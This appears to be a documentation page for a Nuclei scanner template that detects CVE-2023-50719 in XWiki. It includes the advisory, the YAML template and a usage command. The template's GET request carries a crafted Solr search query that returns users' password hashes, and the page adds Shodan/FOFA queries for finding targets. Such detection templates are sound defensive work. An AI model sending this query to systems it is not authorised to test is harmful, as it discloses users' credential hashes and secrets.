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XWiki < 4.10.15 - Sensitive Information Disclosure

ID: CVE-2023-50719

Severity: high

Author: ritikchaddha

Tags: cve,cve2024,xwiki,password,exposure

Description

Section titled “Description”

XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are public. This vulnerability also affects any configurations used by extensions that contain passwords like API keys that are viewable for the attacker. Normally, such passwords aren’t accessible but this vulnerability would disclose them as plain text. This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1. There are no known workarounds for this vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2023-50719


info:
  name: XWiki < 4.10.15 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are public. This vulnerability also affects any configurations used by extensions that contain passwords like API keys that are viewable for the attacker. Normally, such passwords aren't accessible but this vulnerability would disclose them as plain text. This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1. There are no known workarounds for this vulnerability.
  impact: |
    Successful exploitation could lead to disclosure of the password hashes of all users.
  remediation: |
    This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-21208
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50719
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-50719
    cwe-id: CWE-359
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2024,xwiki,password,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Main/Search?r=1&text=propertyvalue%3A%3F*%20AND%20reference%3A*.password&f_locale=en&f_locale="
      - "{{BaseURL}}/xwiki/bin/view/Main/Search?r=1&text=propertyvalue%3A%3F*%20AND%20reference%3A*.password&f_locale=en&f_locale="


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "hash:SHA</span>"
          - "XWikiUsers[0].password"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f7c45a29b4e3080ab52486ca48f1f7c7ffb638bd577db4218bf60b8ddf0003a50220584839ec5dd7b28483641b17acc6e088ceba80d9002054229937f0c2a0347977:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-50719.yaml"

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